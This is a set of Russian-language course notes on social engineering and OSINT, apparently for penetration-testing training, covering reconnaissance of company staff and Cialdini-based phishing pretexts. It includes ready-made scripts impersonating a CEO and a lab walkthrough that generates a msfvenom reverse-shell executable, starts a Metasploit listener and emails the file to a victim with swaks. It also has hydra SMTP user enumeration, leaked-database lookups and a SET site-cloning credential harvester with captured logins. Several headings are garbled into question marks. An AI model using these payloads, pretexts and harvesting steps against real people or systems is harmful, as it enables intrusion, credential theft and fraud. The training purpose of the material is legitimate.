# ??????????
# ??????????

# ????? ????

**Определения**

Социальная инженерия (атака) — обман, манипулирование и мошенничество с использованием социальных и психологических аспектов человеческой жизни.

Разведка по открытым источникам (Open Source Intelligence, OSINT) — разведывательная дисциплина, включающая в себя поиск, выбор и сбор разведывательной информации из общедоступных источников, а также её анализ.

**Атака**

На первом шаге уязвимости мышления и поведения человека, затем — уязвимости информационных систем.

Цели атак:

- Выполнение жертвой (сознательно, либо неосознанно) необходимых действий
- Раскрытие необходимой информации

Этапы атаки:

- Поиск информации о целях
- Подготовка сценариев атак
- Применение сценариев атак и замер результатов

Уже сейчас ясно, что для этого потребуется инфраструктура.

**Поиск информации о целях**

*Компания → Участники организационной структуры компании → Сотрудники*

Конечная цель — получить информацию о сотрудниках компании, которые имеют требуемый уровень доступа, и собрать потенциально удобные в использовании «легенды» для подготовки сценария компрометации.

Изучение компании: профиль, процессы, роли, управляющий орган, контактные данные и пр. Большую часть информации о компании есть на сайте. Также в открытых источниках, через поисковые запросы в yandex.ru, google.com, bing.com либо сразу при помощи платформ СПАРК, rusprofile и пр.

Изучение организационной структуры: департаменты и отделы в компании, связанность и подчиненность подразделений, открытые вакансии. На сайте компании мы можем получить

информацию о структуре компании и открытых в ней вакансиях. Дополнительно об этом мы можем узнать из заявок компании на hh.ru (в т.ч. архивных). Детали устройства компании, процессов и проблем в ней  - мы можем найти на сайтах отзывов о работодателях:

https://www.glassdoor.com/

https://maps.yandex.ru/

https://pravda-sotrudnikov.ru/

Изучение сотрудников: контактные данные, имена, должности линейных руководителей, роли в компании. Существует множество инструментов, решающих конкретные задачи поиска email-адресов, номеров телефонов сотрудников, связанных с целевой компанией:

Инструменты:

- Infoga - https://github.com/m4ll0k/Infoga
- FocaPro - https://github.com/ElevenPaths/FOCA
- TheHarvester - https://github.com/laramies/theHarvester

Ресурсы:

- hunter.io
- snov.io
- intelx.io

Техники:

- SMTP User Enumeration (RCPT TO, MAIL FROM, VRFY) - энумерация (перебор) пользователей почтового сервера через протокол SMTP.
- OWA (Outlook Web Access) Enumeration - энумерация (перебор) пользователей почтового сервера через веб-страницу Outlook Web Access.

**Подготовка сценария**

Техники маскирования

- Маскирование доменов: создание похожих доменов, отличающихся одной буквой, цифрой, разделением и прочими символами.
- Подмена отправителя: техника формирования письма в соответствии со стандартами RFC 822, 5322. Реализуется таким образом, чтобы влиять на заголовок письма From, создавая видимость отправки письмо от стороннего лица.
- Отправка без авторизации в рамках одного домена

Evil Proxy (Проброс трафика через прокси): использование прокси вместо поддельных сайтов для перехвата кодов второго фактора и идеального воспроизведения зеркала сайта.

Пример инструмента

Основные инструменты автоматизации фишинговых рассылок — это инструменты автоматизации сбора информации, зеркалирования сайтов и отправки сообщений.

- SET (Social Engineering Toolkit)
- GoPhish
- Metasploit Framework

Популярные формы сценариев, в которые верят пользователи

- Фишинг (Phishing) Вид интернет-мошенничества, целью которого является получение доступа к конфиденциальным данным пользователей: логинам и паролям.
- Vishing (голосовой фишинг) Один из методов мошенничества с использованием социальной инженерии, который заключается в том, что злоумышленники, используя телефонную коммуникацию, под разными предлогами выманивают конфиденциальную информацию или стимулируют к совершению определённых действий.
- Baiting Используется "наживка" — разбросанные флэшки, ссылки на бесплатное скачивание интересного контента (фильма, книги и т.п.). При не кибермошенничестве — брошенный кошелек, содержимое которого предлагают разделить, и т.п.

**Применение сценариев атак и измерение результатов**
Вопросы, возникающие в момент применения сценариев атаки:

- Когда запускать сценарий?
- Что может пойти не так?
- Что измерять как результат?

Время запуска: Когда спят / обедают / отсутствуют администраторы и те, кто могут отреагировать превентивно:

- ранние (утренние) часы;
- середина рабочей недели (среда / четверг), чтобы сотрудники могли продолжить “ловиться” и в пятницу.

Что может пойти не так?

- Блокировка вашего рассыльщика: нужно иметь в виду минимум 3 варианта mail-серверов, если вы хотите отправить порядка тысячи писем.
  Публичные серверы: mail.ru, gmail.com, yandex.ru
  Платформы для отправки массовых рассылок: mailgun.com, Amazon Simple Email Service (Amazon SES), SendPuls и пр.
  Собственные почтовые серверы (Можно использовать легковесные образы вроде

poste.io)
- Реагирование на ваш сценарий социальной инженерии: реакция может произойти в том числе по вине вашего сценария. Например, если пользователь заметил неладное и начал писать обращения в техподдержку или коллегам. Необходимо составлять сценарий так, чтобы пользователь до самого конца думал, что все проходит по правилам и по плану.

Как измерять результат?

Заказчику нужно понимать, в чём уязвимость каждого из действий его сотрудников. Для каждого конкретного пользователя, времени и сценария, с которым пользователь работает, необходимо измерять:

- открытие писем;
- переходы по ссылкам;
- введенные данные;
- выполнение сценария: ответные действия и пр.

Агрегация популярных книг, статей, инструментов, техник в социальной инженерии.

**Принципы Чалдини**

Роберт Чалдини (Robert Cialdini) книга «Психология влияния», шесть принципов убеждения ("six principles of influence"):

**1. Взаимность (Reciprocity): "Люди платят тем же"**

Мы чувствуем обязанность "вернуть долг" людям, от которых мы что-то получили. Это работает следующим образом:

- Дайте что-то.
- Через какое-то время (не сразу) попросите что-нибудь взамен: возможно, вы даже получите больше.

---

Примеры:

- Звоним на ресепшен и говорим: "Я вашему генеральному директору только что отправил посылку из [название другой компании] / его заказ из [название сервиса], но у нас оборвался звонок, не могу ему перезвонить — почему-то попадаю на вас. Подскажете его актуальный номер телефона?"
- Отправляем письмо: "Коллеги, я за вас сделал работу [придумываем, какую], пожалуйста, проверьте её: перейдите по ссылке [адрес ссылки], посмотрите, всё ли корректно?"

**2. Обязательность и последовательность (Commitment and consistency)**

Дав обещание, высказав свою точку зрения или заняв определенную позицию, большинство людей предпочитают ее придерживаться. Даже если мы оказались неправы либо наши обещания уже не имеют практического смысла, мы склонны оправдывать свои обязательства или казаться последовательными в своём мнении (часто по факту последовательными не являясь). По сути, мы вынуждены изобретать обоснования для подтверждения того, что сделали правильный выбор.

---

Пример:

Осторожно "продавить" другого человека на выполнение какого-либо его собственного обещания.

**3. Социальное доказательство (Social proof)**

Люди следуют схожему примеру других (особенно когда нет уверенности, что именно надо делать). Люди, как социальные существа, в большой степени полагаются на сигналы от окружающих о том, как им мыслить, чувствовать и действовать.

---

Пример:

Пишем человеку: "Все твои коллеги уже сделали [какое-либо стандартное рабочее действие], не сделал только ты, как можно скорее отправь письмо / перейди по ссылке [адрес ссылки] / скачай файл ..."

**4. Власть и авторитет (Authority): "Доверьтесь знающему человеку"**

Люди склонны подчиняться тем, кто имеет власть, авторитет, знатокам своего дела, даже если они призывают к сомнительным действиям.

---

Пример:

Звоним сотруднику какой-либо крупной компании (такой, в которой люди не знаю в лицо своего генерального директора) и говорим: "Привет, это [имя и фамилия генерального директора], хочу, чтобы ты лично сделал вот это: как можно скорее отправь письмо / перейди по ссылке [адрес ссылки] / скачай файл / пришли мне номер телефона ..."

**5. Сходство и симпатия (Liking)**

Люди любят тех, кто похож на них, и тех, кто любит их. Если вы хотите влиять на людей, делайте их своими друзьями. Особенно важны подобие и похвала. Подобие по-настоящему объединяет людей.

---

Пример:

то же, что и в предыдущем примере, только представляетесь не генеральным директором, а кем-то, кто очень похож по занимаемой позиции в компании / образу мыслей и паттернам поведения на вашего адресата (например, его коллега).

**6. Дефицит (Scarcity)**

Возможности кажутся более ценными, желанными, когда они становятся менее доступными. Если у нас есть выбор: получить что-либо сейчас или или получить это же в будущем, мы выбираем — получить сейчас. При этом не факт, что нам этот предмет или эта услуга вообще нужны.

---

Пример:

Отправляем письмо: "Мы оформляем подписку на корпоративную программу фитнеса, мест всего 100, пожалуйста, зарегистрируйтесь по ссылке [адрес ссылки] ..."

# ?????? ?????

**Пример 1.**

Письмо от имени специалиста поддержки (с подменой отправителя) с требованием изменить учетные данные, ссылка ведет на нужный сайт.

Письма отображаются по-разному в разных клиентах, где-то скрывается реальный почтовый адрес.

**Пример 2.**

1. Для того, чтобы найти корпоративную почту конкретного сотрудника, нам нужно узнать маску электронных адресов данной компании.
2. После того, как мы находим маску, можем узнать корпоративные почты других сотрудников, например, с помощью перебора на SMTP-сервере.

На сайте компании найти почту для обратной связи, для того, чтобы определить маску электронного адреса. Затем перечень пользователей, которые представлены на сайте. Здесь нам нужны фамилия и имя.

Открываем сайт генерации почт Email Permutator+ и вводим имя, фамилию и домен компании.

Проверяем почту на существование

Также можно использовать Hydra (Windows, Linux), которая позволяет перебрать email-адреса на SMTP-сервере.

```
hydra -L userlist.txt -s 465 smtp.gmail.com smtp
```

Найденную почту можно проверить в слитых базах данных. Если  - да, и ей можно воспользоваться, значит есть возможность получить доступ к внутренней информации компании и не только.

Ввиду последних событий большинство компаний по доставке еды были подвержены атаке: были слиты базы данных пользователей. Если искать среди этих баз, то можно узнать персональные данные сотрудника.

Эффективность техники измеряется в таких параметрах, как:

- Скорость
- Качество результатов

Улучшение качества

1. Повысить скорость за счет автоматизации процесса поиска корпоративных почт (например, hunter). Также скорость повышается за счет использования перебора почт на SMTP-сервере.
2. Повысить качество результатов за счет использования больших исходных данных, а также использования нескольких сервисов для поиска, проверки валидности с искомые данные.
3. Комбинирование сочетание методов поиска информации (например, не только с помощью слитых баз данных, а также с помощью открытых источников). Также следует комбинировать поиск информации с помощью скриптов и Telegram-ботов.

**Пример 3**

Стенд: Win10_Social.v3.7z (зеркала: Яндекс.Диск и OneDrive)

Особенности стенда

- После создания нужно открутить время на виртуалке назад на август 2024 года. Пример для -1 год:

```
cd C:\Program Files\Oracle\VirtualBox
VBoxManage modifyvm "Win10_Social" --biossystemtimeoffset -31536000000
```

- В сети должен присутствовать DHCP-сервер.
- Для запуска почтового сервера нужно минимум 500 МБ свободной памяти, поэтому на весь стенд нужно выделить минимум 3 ГБ оперативной памяти.
- В стенде есть пользователь Trevis с паролем: Qwerty123 Этот пользователь сильно ограничен в правах, он не может менять настройки системы и не имеет доступа к файлам других пользователей.
- Для контроля работы почтового сервера и бота зайти под Trevis, в диспетчере задач в расширенном режиме должен быть axigen.exe (почтовый сервер) и python.exe (бот).
- В сети с доступом интернету возможна очень медленная работа почтового сервера, а при отправке писем клиенты начнут отваливаться по таймауту. Для решения нужно увеличить время ожидания ответа от сервера, в swaks это делается добавлением ключа, например --timeout 3m.

Общий ход действий

1. При помощи `nmap` просканируйте сеть и найдите машину со стендом (обратите внимание, что в стенде включён брандмауэр и следовательно на ping он не откликается).
2. Просканируйте `nmap` его порты и убедитесь, что открыт SMTP-порт (25).
3. В минимальном случае достаточно отправить по почте специальную программу, которая после запуска считает содержимое файла и отправит его на внешний

ресурс. Однако более гибким будет решение, когда вы получаете полный доступ к системе жертвы, например через shell.
4. Поднимать listener на стороне жертвы не лучшее решение — могут сработать средства защиты, поэтому для задачи грамотней сразу использовать подключение к вашему внешнему серверу. Для данной задачи подойдёт фреймворк metasploit, например с нагрузками `windows/shell/reverse_tcp`, `windows/meterpreter/reverse_tcp` или т.п.
5. Для генерации исполняемого файла можно использовать утилиту `msfvenom` или команду `generate` в `msfconsole`.
6. Чтобы отправить письмо вам потребуется почтовый клиент, например можно воспользоваться уже установленной в Kali Linux консольной утилитой `swaks` Для справки выполните `man swaks`

Подробные подсказки

1. Пример команды msfvenom:
`msfvenom -p windows/shell/reverse_tcp LHOST=192.168.13.38 LPORT=4444 -f exe -o upd.exe`
Генерация происходит в текущую папку, LHOST - адрес для подключения
2. Чтобы поднять listener можно воспользоваться metasploit: запускаете `msfconsole`, указываете эксплойт `use exploit/multi/handler`, нагрузку (например `windows/shell/reverse_tcp`), ip прослушивания `set LHOST 192.168.13.38` (не забудьте указать ваш адрес или воспользуйтесь `0.0.0.0`) и запускаете эксплойт командой `exploit`.
3. Пример команды swaks:
`swaks --to mike@sandbox.local --from admin@sandbox.local --server 192.168.13.37 --attach @upd.exe`
4. При отправке письма обращайте внимание на корректность указания файла, если вы ошибётесь в пути или имени файла, то письмо всё равно отправится, но без файла. Если строчка логов, начинающаяся на `Content-Type: application/octet-stream` не содержит в себе имени файла, то значит в письме нет файла. Косвенным признаком наличия во вложении файла является большой лог работы утилиты (сотни строк) с неразборчивым текстом -- base64.
5. Вы можете проверить работоспособность вашей нагрузки воспользовавшись пользователем Trevis. У данного пользователя нет доступа к файлам пользователя Mike, но получение реверсивного shell'а через этого пользователя говорит о том, что у вас подготовлена корректная нагрузка.
6. Для доставки файла с нагрузкой к пользователю Trevis можно воспользоваться простым http-сервером, запущенном в Kali Linux: `python -m http.server`.
7. В стенде, в учебных целях, ведутся логи работы бота (`C:\logs\bot.log`), при реальных атаках подобных логов, естественно, не будет.
8. Отображение содержимого файла в консоли windows: more filename

# ????? email & OSINT

Сотрудника можно найти в утечках баз данных. Или, зная маску корпоративной почты организации, подбирается адрес электронной почты с помощью генератора email-адресов.

Второй принцип - использование SMTP

Связь в виде открытого текста. Порты по умолчанию — 25, 465 (больше не используется) и 587. 25 для использования при отправке от клиента на сервер, а более высокие порты для ретрансляции между SMTP-сервером. SMTP-сервер может действовать как клиент и как сервер. Термины:

- Почтовый пользовательский агент (MUA): визуальная часть программы, подключающейся к SMTP-серверу для отправки электронной почты. Скорее всего Outlook или Thunderbird.
- Агент пересылки почты (MTA): транспортная часть программы, получает и передает электронные письма. Сервер Exchange, шлюз с выходом в Интернет и так далее.

Процесс передачи электронного письма от одного пользователя к другому:

MUA → MSA → MTA → Интернет → MTA → MDA → MUA

**Инструменты**

Email Permutator+ – автоматически составляет список возможных адресов.

**Для верификации можно воспользоваться следующими сервисами**:

- https://tools.emailhippo.com/
- https://www.verifyemailaddress.org/
- https://verify-email.org/
- https://verifalia.com/validate-email
- https://quickemailverification.com/
- https://www.accuwebhosting.com/blog/top-10-bulk-email-list-verification-validation-services-compared/

**Whois** — протокол, основная цель которого заключается в получении регистрационных данных о владельцах доменных имён, IP-адресах и автономных систем (ASN).

- https://whois.ru/
- https://dnschecker.org/ip-whois-lookup.php

- https://bgp.he.net/

**OSINT**:

- Infoga – инструмент, собирающий информацию об учетных записях электронной почты (ip,имя хоста, страна,...) из различных открытых источников (поисковые системы, серверы ключей pgp и shodan) и проверяющий, не произошла ли утечка электронной почты с помощью haveibeenpwned.com API.
- Maltego – мощная программа для сбора информации из различных баз данных, а также их представления в удобном для понимания формате (строит логические связи между данными).
- LeakCheck – поиск данных среди >7.8 млрд записей включающие более 3000 баз данных. Поиск по имени, почте, ключевым словам, паролям или корпоративным доменным именам.
- h8mail – представляет собой инструмент OSINT для поиска электронных почт и нарушений, использующие различные службы взлома и разведки, или локальные нарушения (например, Collection 1 Троя Ханта, торрент “Breach Compilation”).
- Hunter – позволяет за считанные секунды найти адреса электронных почт, информацию о том, на каких ресурсах они были опубликованы, и связаться с ними.
- Зарубежный ресурс Datanyze.com также помогает наводить справки, но подходит скорее для иностранных пользователей. В нем достаточно указать название компании, в которой работает искомый человек. После этого вы получите список электронных ящиков. Российские компании он почти не знает.
- Google Dorks
- pagodo – Passive Google Dork
- emailrep — сайт найдет, на каких сервисах был зарегистрирован аккаунт, использующий определенную почту.
- dehashed.com — проверка почты в слитых базах.
- DuckDuckGo «@domainname.com» → поиск. Запустите поиск по точному соответствию имени домена с символом @ (@domainname.com), в выдаче адреса почты в открытом доступе.
- Twitter как инструмент поиска лидов. Бывает отправляют email-адрес в комментариях к твитам . Защита — замена «.» и «@» словами «dot» и «at». В расширенном поиске Twitter слова «dot» и «at» в твитах цели. Дополнительно можно включить слова «email», «contact» или «reach».

**Утилиты**:

- hydra – это распараллеленный брутфорс паролей к различным сервисам (FTP, POP3, IMAP, Telnet, HTTP Auth, NNTP, VNC, ICQ, PCNFS, CISCO и др.) для UNIX платформ. С помощью этой утилиты вы можете атаковать несколько сервисов одновременно.

- theHarvester – это простой в использовании, но мощный инструмент, предназначенный для использования на этапе разведки. Он выполняет сбор информации из открытых источников (OSINT), чтобы помочь определить уровень внешних угроз домена. Инструмент собирает имена, адреса электронной почты, IP-адреса, поддомены и URL-адреса с помощью несколько общедоступных ресурсов.

```
theHarvester -d ethicalhackingblog.com -b all -s
```

- dmitry информация о домене.

```
dmitry -wnse admirk.ru
```

- Maltego. Крутой инструмент, но платный.

# setoolkit

Главное меню из 6 элементов, но основные - Social-engeneering Attacks и Penetraiton testing.

**Создание зараженного файла:**

Social-engeneering Attacks -> Spear-Phishing Attack Vectors -> Create a FileFormat Payload

# ?????????? ?????

Запуск SET

```
sudo setoolkit
```

№ 1: Social-Engineering Attacks (Атаки методом социальной инженерии) ->№ 2: Website Attack Vectors (Вектор атак на сайты) ->
№ 3: Credential Harvester Attack Method (Атака для сбора учетных данных) ->№ 2: Site Cloner (Клонирование сайта)

Будет предложено указать IP адрес, на котором будет http шлюз. Т е тот сервер, к которому будет организовано подключение и которое будет отображать типа-фэйковый-сайт. Здесь адрес на интерфейсе Kali 192.168.1.15. Этот пункт добавлен в связи с несколькими возможными интерфейсами в системе.

```
set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.1.15]:
```

Далее вводим адрес копируемой страницы. В данном случае это 192.168.1.89

```
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone: https://192.168.1.89/auth

[*] Cloning the website: https://192.168.1.89/auth
[*] This could take a little bit...

The best way to use this attack is if username and password form fields are available...
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80

[*] Information will be displayed to you as it arrives below:
```

Теперь https страничка сайта 192.168.1.89/auth размещена на http 192.168.1.15. При обращении будет отображено

```
192.168.1.15 - - [08/Oct/2025 04:11:31] "GET / HTTP/1.1" 200 -
192.168.1.15 - - [08/Oct/2025 04:11:32] "GET /favicon.ico HTTP/1.1" 404 -
192.168.1.15 - - [08/Oct/2025 04:11:44] "GET / HTTP/1.1" 200 -
[*] WE GOT A HIT! Printing the output:
```

```
POSSIBLE USERNAME FIELD FOUND: username=test


POSSIBLE PASSWORD FIELD FOUND: password=gtrokl


[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
```

Пользователь после этого будет тихо перенаправлен на настоящую страничку, а в логах будет отражен введенный логин и пароль.